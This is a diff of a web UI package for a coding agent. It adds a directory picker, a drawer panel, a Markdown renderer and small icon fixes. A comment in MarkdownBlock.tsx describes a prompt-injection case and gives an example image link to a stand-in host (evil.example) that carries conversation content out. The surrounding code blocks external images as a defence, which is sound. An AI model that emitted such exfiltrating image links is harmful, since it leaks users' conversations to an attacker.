@rexvane/piweb 0.3.17 → 0.3.19

package/src/components/DirectoryPicker.tsx

@@ -0,0 +1,189 @@
+"use client";
+
+/**
+ * 应用内目录浏览器：给手机等远程设备用。
+ *
+ * 本机回环上仍然走系统原生对话框（/api/workspaces 的 pick 动作），只有远程请求才落到这里
+ * —— 原生对话框会弹在运行 PiWeb 的那台机器的屏幕上，手机这边等于没反应。
+ * 只列目录；选出的路径仍由服务端的 resolveWorkspacePath 校验后才写进工作区。
+ */
+import { useCallback, useEffect, useState, type CSSProperties } from "react";
+import { folderIconSrc } from "@/lib/file-icons";
+import { IconChevronLeft14 } from "@/components/icons";
+import { useI18n } from "@/i18n";
+
+interface FsEntry {
+	name: string;
+	path: string;
+}
+
+interface Listing {
+	path: string;
+	parent: string | null;
+	entries: FsEntry[];
+	truncated: boolean;
+}
+
+async function post(action: "roots" | "list", target?: string): Promise<Record<string, unknown>> {
+	const r = await fetch("/api/fs", {
+		method: "POST",
+		headers: { "Content-Type": "application/json" },
+		body: JSON.stringify(target === undefined ? { action } : { action, path: target }),
+	});
+	const j = (await r.json()) as { success?: boolean; data?: Record<string, unknown>; error?: string };
+	if (!r.ok || !j.success) throw new Error(j.error || `request failed (${r.status})`);
+	return j.data ?? {};
+}
+
+export function DirectoryPicker({
+	open,
+	onConfirm,
+	onCancel,
+}: {
+	open: boolean;
+	onConfirm: (path: string) => void;
+	onCancel: () => void;
+}) {
+	const { t } = useI18n();
+	const [roots, setRoots] = useState<FsEntry[]>([]);
+	const [listing, setListing] = useState<Listing | null>(null);
+	const [error, setError] = useState<string | null>(null);
+	const [busy, setBusy] = useState(false);
+
+	const load = useCallback(async (target?: string) => {
+		setBusy(true);
+		setError(null);
+		try {
+			setListing((await post("list", target)) as unknown as Listing);
+		} catch (e) {
+			setError(e instanceof Error ? e.message : String(e));
+		} finally {
+			setBusy(false);
+		}
+	}, []);
+
+	useEffect(() => {
+		if (!open) return;
+		setListing(null);
+		setError(null);
+		setRoots([]);
+		void (async () => {
+			try {
+				const data = await post("roots");
+				setRoots((data.roots as FsEntry[]) ?? []);
+			} catch {
+				// 拿不到起点不影响从主目录开始
+			}
+			await load();
+		})();
+	}, [open, load]);
+
+	if (!open) return null;
+
+	const rowStyle: CSSProperties = { fontSize: 13, color: "var(--dsw-label-secondary)" };
+	return (
+		<div
+			className="modal-mask fixed inset-0 z-[100] flex items-center justify-center"
+			onMouseDown={(e) => {
+				if (e.target === e.currentTarget) onCancel();
+			}}
+		>
+			<div
+				className="glass-modal flex flex-col overflow-hidden"
+				style={{
+					width: 560,
+					maxWidth: "calc(100vw - 32px)",
+					height: "min(620px, calc(100vh - 32px))",
+					borderRadius: 24,
+					boxShadow: "var(--dsw-elevation-prominent)",
+				}}
+			>
+				<div className="px-5 pb-2 pt-4" style={{ fontSize: 15, fontWeight: 500 }}>
+					{t.pickFolderTitle}
+				</div>
+
+				{roots.length > 0 && (
+					<div className="flex flex-wrap gap-1.5 px-5 pb-2">
+						{roots.map((root) => (
+							<button key={root.path} type="button" className="pw-chip" title={root.path} onClick={() => void load(root.path)}>
+								{root.name}
+							</button>
+						))}
+					</div>
+				)}
+
+				<div className="flex items-center gap-1.5 px-5 pb-2">
+					<button
+						type="button"
+						className="icon-btn"
+						style={{ width: 24, height: 24, flex: "none" }}
+						disabled={!listing?.parent || busy}
+						title={t.pickFolderUp}
+						aria-label={t.pickFolderUp}
+						onClick={() => listing?.parent && void load(listing.parent)}
+					>
+						<IconChevronLeft14 size={13} />
+					</button>
+					<span
+						className="truncate"
+						style={{ fontFamily: "var(--font-mono)", fontSize: 12, color: "var(--dsw-label-caption)" }}
+						title={listing?.path}
+					>
+						{listing?.path ?? t.pickFolderLoading}
+					</span>
+				</div>
+
+				<div className="min-h-0 flex-1 overflow-y-auto px-3">
+					{error && <p className="px-2 py-2" style={{ fontSize: 13, color: "var(--dsw-danger)" }}>{error}</p>}
+					{listing?.entries.map((entry) => (
+						<button
+							key={entry.path}
+							type="button"
+							className="flex w-full items-center gap-2 rounded-lg px-2 py-1.5 text-left transition-colors"
+							style={rowStyle}
+							onMouseEnter={(e) => { e.currentTarget.style.background = "var(--dsw-hover)"; }}
+							onMouseLeave={(e) => { e.currentTarget.style.background = "transparent"; }}
+							onClick={() => void load(entry.path)}
+						>
+							<img src={folderIconSrc(entry.name, false)} alt="" width={15} height={15} style={{ flex: "none" }} draggable={false} />
+							<span className="truncate">{entry.name}</span>
+						</button>
+					))}
+					{!error && listing && listing.entries.length === 0 && (
+						<p className="px-2 py-2" style={{ fontSize: 13, color: "var(--dsw-label-caption)" }}>{t.pickFolderEmpty}</p>
+					)}
+					{listing?.truncated && (
+						<p className="px-2 py-2" style={{ fontSize: 12, color: "var(--dsw-label-caption)" }}>
+							{t.pickFolderTruncated.replace("{n}", String(listing.entries.length))}
+						</p>
+					)}
+				</div>
+
+				<div className="flex items-center justify-end gap-2 px-5 py-3.5">
+					<button
+						type="button"
+						className="rounded-xl px-3.5 py-1.5 transition-colors"
+						style={{ fontSize: 13, color: "var(--dsw-label-secondary)", background: "var(--dsw-hover)" }}
+						onClick={onCancel}
+					>
+						{t.cancel}
+					</button>
+					<button
+						type="button"
+						className="rounded-xl px-3.5 py-1.5 transition-colors"
+						style={{
+							fontSize: 13,
+							color: "white",
+							background: "var(--dsw-accent)",
+							opacity: !listing || busy ? 0.5 : 1,
+						}}
+						disabled={!listing || busy}
+						onClick={() => listing && onConfirm(listing.path)}
+					>
+						{t.pickFolderConfirm}
+					</button>
+				</div>
+			</div>
+		</div>
+	);
+}

package/src/components/DrawerPanel.tsx

@@ -0,0 +1,164 @@
+"use client";
+
+/**
+ * 右侧抽屉:顶部一列入口(可点选),下面渲染所选入口的内容。
+ *
+ * 抽屉是网格里的一列(不是浮层):打开时对话区变窄,和项目栏占用一列的方式一样;
+ * 窄屏时由 AppShell 摆成贴右边的 fixed 覆盖层。
+ * 这一列与「轨迹详情」(TrajInspector)互斥:点对话里的工具行时整列切成轨迹详情,
+ * 关掉后回到抽屉,并回到抽屉原本选中的那个入口——所以选中项由 AppShell 持有,
+ * 不能放在本组件的局部 state 里,否则轨迹详情来回切换会丢掉入口。
+ */
+import { PromptPanel } from "@/components/PromptPanel";
+import { GitPanel } from "@/components/GitPanel";
+import { ProjectPanel } from "@/components/ProjectPanel";
+import { SessionImportSection } from "@/components/SessionImportSection";
+import { IconCloseOutline14, IconDownloadOutline16, IconAgentPresetOutline16, IconGitOutline16, IconFolderOpenOutline16 } from "@/components/icons";
+import type { GrowthApi } from "@/hooks/useGrowth";
+import { useI18n } from "@/i18n";
+import type { TreeNode } from "@/lib/growth-tree";
+
+/** 抽屉里的入口,顺序即顶部入口列表的显示顺序:项目 → 提示词 → Git 详情 → 会话导入 */
+export type DrawerSection = "project" | "prompts" | "git" | "import";
+
+export function DrawerPanel({
+	cwd,
+	section,
+	onSectionChange,
+	onClose,
+	sessionId,
+	promptRefreshKey,
+	gitRefreshKey,
+	growth,
+	workspaceName,
+	hasSession,
+	running,
+	onOpenFileNode,
+	onReference,
+	onOpenEditor,
+	onJumpToChat,
+	onError,
+	onOpenContent,
+	onAskCommit,
+	onOpenFile,
+}: {
+	cwd: string;
+	/** 当前入口(由 AppShell 持有:轨迹详情关掉后要回到这个入口) */
+	section: DrawerSection;
+	onSectionChange: (section: DrawerSection) => void;
+	onClose: () => void;
+	sessionId: string | null;
+	/** 提示词面板重新拉取的键(切换会话) */
+	promptRefreshKey?: string | number | null;
+	/** Git 面板重新拉取的键(回合结束 / pi 改了文件) */
+	gitRefreshKey?: number;
+	/** 项目入口用的生长视图状态(AppShell 里 useGrowth 不随抽屉卸载) */
+	growth: GrowthApi;
+	workspaceName: string;
+	hasSession: boolean;
+	/** 本会话正在运行:时间轴末尾显示「本轮进行中」 */
+	running?: boolean;
+	/** 项目树打开文件(打开居中查看器) */
+	onOpenFileNode: (node: TreeNode) => void;
+	/** 项目树的「引用到输入框」 */
+	onReference?: (path: string) => void;
+	/** 项目树的「在本机编辑器打开」(相对仓库根的路径) */
+	onOpenEditor?: (path: string) => void;
+	/** 跳到对话里这一轮的提问(用户消息 entryId) */
+	onJumpToChat?: (messageId: string) => void;
+	onError: (message: string) => void;
+	/** 提示词正文交给居中查看器 */
+	onOpenContent?: (path: string, content: string) => void;
+	/** 把「请提交当前变更」填进输入框 */
+	onAskCommit?: () => void;
+	/** 在本机编辑器打开(Git 文件) */
+	onOpenFile?: (absPath: string) => void;
+}) {
+	const { t } = useI18n();
+
+	const entries: { id: DrawerSection; label: string; icon: React.ReactNode }[] = [
+		// 入口只用现有的 i18n 键;「提示词」是入口短名,和面板标题「提示词来源」区分开
+		{ id: "project", label: t.projectPanel, icon: <IconFolderOpenOutline16 size={15} /> },
+		{ id: "prompts", label: t.drawerPrompts, icon: <IconAgentPresetOutline16 size={15} /> },
+		{ id: "git", label: t.gitDetails, icon: <IconGitOutline16 size={15} /> },
+		// 「导入会话」的设置栏已移除,文案复用在这里
+		{ id: "import", label: t.importSessions, icon: <IconDownloadOutline16 size={15} /> },
+	];
+
+	return (
+		<div className="flex h-full min-h-0 flex-col" data-testid="drawer-panel">
+			{/* 头部:与 PromptPanel / ProjectPanel 同一套排布。
+			    提示词 / Git 两个面板自带同款标题行(含关闭),这里就不再叠一层;
+			    「导入会话」段落没有标题行,抽屉自己出这行,并关掉整个抽屉。 */}
+			{section === "import" && (
+				<div className="hairline-b flex items-center gap-1.5 px-3 pb-2 pt-3">
+					<span className="min-w-0 flex-1 truncate" style={{ fontSize: 13, fontWeight: 600 }}>
+						{t.drawerPanel}
+					</span>
+					<button className="icon-btn" style={{ width: 22, height: 22 }} title={t.close} aria-label={t.close} onClick={onClose}>
+						<IconCloseOutline14 size={13} />
+					</button>
+				</div>
+			)}
+
+			{/* 入口列表：横向一排图标，不显示文字（名字放 title / aria-label）。
+			    激活态复用设置页那套下划线（.settings-tab-underline），不自创样式。 */}
+			<div className="hairline-b flex items-stretch gap-1 px-2" role="tablist" aria-label={t.drawerSections}>
+				{entries.map((entry) => (
+					<button
+						key={entry.id}
+						type="button"
+						role="tab"
+						aria-selected={section === entry.id}
+						className="settings-tab-underline flex flex-1 items-center justify-center rounded-t-lg"
+						data-active={section === entry.id}
+						title={entry.label}
+						aria-label={entry.label}
+						onMouseEnter={(e) => {
+							if (section !== entry.id) e.currentTarget.style.background = "var(--dsw-hover)";
+						}}
+						onMouseLeave={(e) => {
+							if (section !== entry.id) e.currentTarget.style.background = "transparent";
+						}}
+						onClick={() => onSectionChange(entry.id)}
+						data-testid={`drawer-entry-${entry.id}`}
+					>
+						{entry.icon}
+					</button>
+				))}
+			</div>
+
+			{/* 所选入口的内容:项目 / 提示词 / Git 三个面板自带标题行与滚动,导入段落沿用抽屉的留白 */}
+			<div className="flex min-h-0 flex-1 flex-col">
+				{section === "import" ? (
+					<div className="min-h-0 flex-1 overflow-y-auto px-3 py-3">
+						<SessionImportSection cwd={cwd} />
+					</div>
+				) : section === "project" ? (
+					<ProjectPanel
+						growth={growth}
+						workspaceName={workspaceName}
+						cwd={cwd}
+						hasSession={hasSession}
+						running={running}
+						onOpenFile={onOpenFileNode}
+						onReference={onReference}
+						onOpenEditor={onOpenEditor}
+						onJumpToChat={onJumpToChat}
+						gitRefreshKey={gitRefreshKey}
+						onAskCommit={onAskCommit}
+						// 「Git 详情」按钮切到抽屉的 git 入口(项目栏不再自己开一个面板)
+						onOpenGit={() => onSectionChange("git")}
+						onClose={onClose}
+						onError={onError}
+					/>
+				) : section === "prompts" ? (
+					// 三个面板的关闭按钮都收起整个抽屉(它们自己不再有"关闭"以外的语义)
+					<PromptPanel cwd={cwd} sessionId={sessionId} refreshKey={promptRefreshKey} onOpenContent={onOpenContent} onClose={onClose} />
+				) : (
+					<GitPanel cwd={cwd} refreshKey={gitRefreshKey} onClose={onClose} onAskCommit={onAskCommit} onOpenFile={onOpenFile} />
+				)}
+			</div>
+		</div>
+	);
+}

package/src/components/FileViewer.tsx

@@ -13,7 +13,7 @@ import remarkGfm from "remark-gfm";
 import { parseUnifiedDiff, type DiffLine } from "@/components/DiffView";
 import { FullDiff, type FullDiffHandle } from "@/components/FullDiff";
 import { GrowthTree } from "@/components/GrowthTree";
-import { IconChevronDown14, IconChevronUp14, IconCloseOutline14, IconEditOutline16, IconFileOutline16, IconPlusOutline16, IconSearchOutline16 } from "@/components/icons";
+import { IconAtOutline16, IconChevronDown14, IconChevronUp14, IconCloseOutline14, IconEditOutline16, IconFileOutline16, IconPlusOutline16, IconSearchOutline16 } from "@/components/icons";
 import type { GrowthApi } from "@/hooks/useGrowth";
 import { useI18n } from "@/i18n";
 import { fileIconSrc } from "@/lib/file-icons";
@@ -422,7 +422,7 @@ export function FileViewer({
 							)}
 							{onReference && (
 								<button type="button" className="icon-btn" style={{ width: 24, height: 24 }} title={t.fileReference} onClick={() => onReference(activeTab.path)}>
-									<IconEditOutline16 size={13} />
+									<IconAtOutline16 size={13} />
 								</button>
 							)}
 							{onOpenEditor && (

package/src/components/GrowthTree.tsx

@@ -6,7 +6,7 @@
  * 生成中呼吸态、新步入场动画、窗口化渲染、键盘导航（↑↓ 移动，←→ 收展，Enter 打开）。
  */
 import { memo, useCallback, useEffect, useMemo, useRef, useState } from "react";
-import { IconEditOutline16, IconFileOutline16, IconTriangleRightFill14 } from "@/components/icons";
+import { IconAtOutline16, IconFileOutline16, IconTriangleRightFill14 } from "@/components/icons";
 import { useI18n } from "@/i18n";
 import { fileIconSrc, folderIconSrc } from "@/lib/file-icons";
 import { flattenTree, treeNodeKey, type FlatRow, type TreeNode } from "@/lib/growth-tree";
@@ -264,7 +264,7 @@ const TreeRow = memo(function TreeRow({
 				{node.status === "R" && node.from && <span className="pw-tree-from">← {node.from.split("/").pop()}</span>}
 			</span>
 			{node.pending && <span className="pw-tree-pulse" aria-label={pendingLabel} />}
-			{!isDir && (onReference || onOpenEditor) && !node.lazy && (
+			{!node.lazy && (onReference || (!isDir && onOpenEditor)) && (
 				<span className="pw-tree-actions">
 					{onReference && (
 						<button
@@ -274,13 +274,14 @@ const TreeRow = memo(function TreeRow({
 							title={referenceLabel}
 							onClick={(e) => {
 								e.stopPropagation();
-								onReference(node.path);
+								// 目录带尾斜杠:发送时是 @dir/,和文件引用区分得开
+								onReference(isDir ? `${node.path.replace(/[\\/]+$/, "")}/` : node.path);
 							}}
 						>
-							<IconEditOutline16 size={11} />
+							<IconAtOutline16 size={11} />
 						</button>
 					)}
-					{onOpenEditor && (
+					{!isDir && onOpenEditor && (
 						<button
 							type="button"
 							className="icon-btn"

package/src/components/MarkdownBlock.tsx

@@ -0,0 +1,134 @@
+"use client";
+
+/**
+ * Markdown 正文渲染（消息、流式回答、用户气泡共用）。
+ *
+ * 单独成模块是为了让它成为**懒加载分块**：react-markdown + remark-gfm + rehype-highlight
+ * 带着 lowlight/highlight.js 的常用语言集，实测占首屏 JS 的 472KB（全部首屏 JS 1272KB），
+ * 而 Hero 页（还没开会话）根本用不到它。ChatWindow 用 next/dynamic 引用本模块，
+ * 首屏不再下载这 472KB；AppShell 在空闲时预取，真正打开会话时通常已经就绪。
+ */
+import { memo, useEffect, useRef, useState } from "react";
+import ReactMarkdown from "react-markdown";
+import rehypeHighlight from "rehype-highlight";
+import remarkGfm from "remark-gfm";
+import { IconCheckOutline14, IconCopyOutline16 } from "@/components/icons";
+import { copyText } from "@/lib/clipboard";
+import { useI18n } from "@/i18n";
+
+type MarkdownTextNode = { value?: unknown; children?: MarkdownTextNode[] };
+
+function markdownNodeText(node: MarkdownTextNode | undefined): string {
+	if (!node) return "";
+	if (typeof node.value === "string") return node.value;
+	return node.children?.map(markdownNodeText).join("") ?? "";
+}
+
+function CopyButton({ text }: { text: string }) {
+	const [copied, setCopied] = useState(false);
+	const [copyFailed, setCopyFailed] = useState(false);
+	const { t } = useI18n();
+	return (
+		<>
+			<button
+				type="button"
+				className="icon-btn"
+				title={copyFailed ? t.copyFailed : t.copy}
+				aria-label={t.copy}
+				onClick={() => {
+					void copyText(text).then((ok) => {
+						setCopied(ok);
+						setCopyFailed(!ok);
+						setTimeout(() => { setCopied(false); setCopyFailed(false); }, 1200);
+					});
+				}}
+			>
+				{copied ? <IconCheckOutline14 size={14} /> : <IconCopyOutline16 size={14} />}
+			</button>
+			{copyFailed && <span role="alert" style={{ fontSize: 11, color: "var(--dsw-danger)" }}>{t.copyFailed}</span>}
+		</>
+	);
+}
+
+/** 同源图片可以直接显示；外部地址不行（见 SafeImage）。data: 早被 react-markdown 的默认 URL 过滤掉了 */
+function isInlineImage(src: string): boolean {
+	if (typeof window === "undefined") return false;
+	try {
+		return new URL(src, window.location.href).origin === window.location.origin;
+	} catch {
+		return false;
+	}
+}
+
+/**
+ * 外部图片默认不加载，点了才加载。
+ * 模型输出可能被提示词注入（读到的网页、文件里藏着指令），让它写一张
+ * `![](https://evil.example/?d=<会话内容>)`，浏览器一渲染就把内容发出去了 —— 不需要用户点任何东西。
+ */
+function SafeImage({ src, alt, title }: { src?: unknown; alt?: string; title?: string }) {
+	const [allowed, setAllowed] = useState(false);
+	const { t } = useI18n();
+	const source = typeof src === "string" ? src : "";
+	if (!source) return null;
+	if (allowed || isInlineImage(source)) return <img src={source} alt={alt ?? ""} title={title} />;
+	let host = source;
+	try {
+		host = new URL(source).host || source;
+	} catch {
+		/* 保留原样 */
+	}
+	return (
+		<button type="button" className="btn-outline" style={{ height: 26, padding: "0 10px", fontSize: 12 }} title={source} onClick={() => setAllowed(true)}>
+			{t.externalImage}{alt ? `：${alt}` : ""}（{host}）
+		</button>
+	);
+}
+
+export const MarkdownBlock = memo(function MarkdownBlock({ text }: { text: string }) {
+	return (
+		<div className="md">
+			<ReactMarkdown
+				remarkPlugins={[remarkGfm]}
+				rehypePlugins={[[rehypeHighlight, { detect: false, ignoreMissing: true }]]}
+				components={{
+					a: ({ node: _node, ...props }) => <a {...props} target="_blank" rel="noopener noreferrer" />,
+					img: ({ src, alt, title }) => <SafeImage src={src} alt={alt} title={title} />,
+					pre: ({ node, children, ...props }) => (
+						<div className="md-code-block">
+							<div className="md-code-copy"><CopyButton text={markdownNodeText(node)} /></div>
+							<pre {...props}>{children}</pre>
+						</div>
+					),
+				}}
+			>
+				{text}
+			</ReactMarkdown>
+		</div>
+	);
+});
+
+/** 流式正文的节流渲染（见 ChatWindow 的说明）：这里只负责延迟把稳定文本交给 MarkdownBlock */
+const STREAM_MARKDOWN_THROTTLE_MS = 100;
+
+export const StreamingMarkdownBlock = memo(function StreamingMarkdownBlock({ text }: { text: string }) {
+	const [shown, setShown] = useState(text);
+	const latest = useRef(text);
+	const timer = useRef<ReturnType<typeof setTimeout> | null>(null);
+	useEffect(() => {
+		latest.current = text;
+		// 节流而不是防抖：计时器只在空闲时才设，期间到来的新文本只更新 latest、不重置计时。
+		// 若每次变化都清掉重来，文本一直在流（约 16ms 一次）时计时器永远到不了点，正文就冻住了。
+		if (text === shown || timer.current) return;
+		timer.current = setTimeout(() => {
+			timer.current = null;
+			setShown(latest.current);
+		}, STREAM_MARKDOWN_THROTTLE_MS);
+	}, [text, shown]);
+	useEffect(() => () => {
+		if (timer.current) clearTimeout(timer.current);
+		timer.current = null;
+	}, []);
+	return <MarkdownBlock text={shown} />;
+});
+
+export default MarkdownBlock;

package/src/components/OutlineRail.tsx

@@ -36,7 +36,10 @@ export function OutlineRail({ scrollRef, revision }: { scrollRef: React.RefObjec
 		for (const node of roots) {
 			if (node.dataset.role === "user") {
 				userIndex += 1;
-				const text = (node.textContent ?? "").replace(/\s+/g, " ").trim();
+				// 只取气泡里的正文：用户行里还有时间戳和操作按钮，整行 textContent 会混进「10月7日 16:49」；
+				// 正文还没加载出来时宁可先不出这一项，等下面的 MutationObserver 再收一次
+				const bubble = node.querySelector<HTMLElement>(".msg-user-bubble") ?? node;
+				const text = (bubble.textContent ?? "").replace(/\s+/g, " ").trim();
 				if (text) out.push({ key: `u${userIndex}`, level: 0, text: text.slice(0, 80), el: node });
 				continue;
 			}
@@ -58,6 +61,24 @@ export function OutlineRail({ scrollRef, revision }: { scrollRef: React.RefObjec
 		return () => clearTimeout(timer);
 	}, [collect, revision]);
 
+	// 正文是按需加载的 Markdown（见 ChatWindow 的 dynamic import）：刷新后直接恢复会话时，快照到了
+	// 正文可能还没出来，这时收到的用户项只剩时间戳、标题一个都没有；懒渲染的回合滚到附近才升级。
+	// 这些都不改 revision，所以盯 DOM 结构变化再收一次。只看 childList，流式逐字改文本不触发；防抖合并成一次。
+	useEffect(() => {
+		const root = scrollRef.current;
+		if (!root) return;
+		let timer: ReturnType<typeof setTimeout> | undefined;
+		const observer = new MutationObserver(() => {
+			clearTimeout(timer);
+			timer = setTimeout(collect, 300);
+		});
+		observer.observe(root, { childList: true, subtree: true });
+		return () => {
+			observer.disconnect();
+			clearTimeout(timer);
+		};
+	}, [collect, scrollRef]);
+
 	// 随滚动高亮：最后一个顶部已越过视口上沿 + 80px 的锚点
 	useEffect(() => {
 		const root = scrollRef.current;